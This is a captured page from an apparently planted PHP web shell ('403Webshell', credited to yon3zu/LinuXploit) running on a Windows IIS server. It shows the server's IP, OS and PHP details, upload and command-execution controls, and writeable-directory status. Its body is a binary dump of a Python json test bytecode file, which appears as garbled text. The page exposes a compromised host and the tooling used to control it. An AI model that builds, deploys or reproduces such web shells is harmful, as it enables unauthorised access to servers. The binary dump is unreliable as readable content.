403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_json/__pycache__/test_indent.cpython-312.pyc
�

���gc��l�ddlZddlmZddlmZmZGd�d�ZGd�dee�ZGd�d	ee�Zy)
�N)�StringIO)�PyTest�CTestc��eZdZd�Zd�Zy)�
TestIndentc
��dgdggdddddidd	d
�g}tjd�}|j|�}|j|dd
d��}|j|dd
d��}|j|dd
��}|j|dd
��}|j|�}|j|�}	|j|�}
|j	||�|j	|	|�|j	|
|�|j	||jd��|j	||�|j	||�|j	||�y)N�blorpie�whoopsz	d-shtaeouz	d-nthiouhzi-vhbjkhnth�nifty�W�yesF)�field�	morefielda3        [
        	[
        		"blorpie"
        	],
        	[
        		"whoops"
        	],
        	[],
        	"d-shtaeou",
        	"d-nthiouh",
        	"i-vhbjkhnth",
        	{
        		"nifty": 87
        	},
        	{
        		"field": "yes",
        		"morefield": false
        	}
        ]�T)�,z: )�indent�	sort_keys�
separators�	)rr)�textwrap�dedent�dumps�loads�assertEqual�
expandtabs)�self�h�expect�d1�d2�d3�d4�d5�h1�h2�h3s           �/C:\Python312\\Lib\test\test_json\test_indent.py�test_indentzTestIndent.test_indentsC���[�8�*�b�+�{�M��r�]�e�%�@�
C�����"
���*�Z�Z��]��
�Z�Z��!�t��Z�
L��
�Z�Z��$�$�;�Z�
O��
�Z�Z��!�t�Z�
4��
�Z�Z��$�$�Z�
7��
�Z�Z��^��
�Z�Z��^��
�Z�Z��^������Q������Q������Q������V�.�.�q�1�2�����V�$�����R� �����R� �c�@���ddi���fd�}|dd�|dd�y)N��c�����j�|��}�j||�t�}�jj	�||���j|j�|�y)N)r)rrr�json�dump�getvalue)r�expectedr�siorrs    ��r'�checkz&TestIndent.test_indent0.<locals>.check4sX������A�f��-�B����R��*��*�C��I�I�N�N�1�c�&�N�1����S�\�\�^�X�6r)rz
{
"3": 1
}z{"3": 1}�)rr3rs` @r'�test_indent0zTestIndent.test_indent02s'���
��F��	7�	�a�� �
�d�J�r)N)�__name__�
__module__�__qualname__r(r5r4r)r'rrs
��)!�V
 r)rc��eZdZy)�TestPyIndentN�r6r7r8r4r)r'r:r:B��r)r:c��eZdZy)�TestCIndentNr;r4r)r'r>r>Cr<r)r>)	r�ior�test.test_jsonrrrr:r>r4r)r'�<module>rAs/����(�9 �9 �x-�:�v�,�*�*�e�*r)

Youez - 2016 - github.com/yon3zu
LinuXploit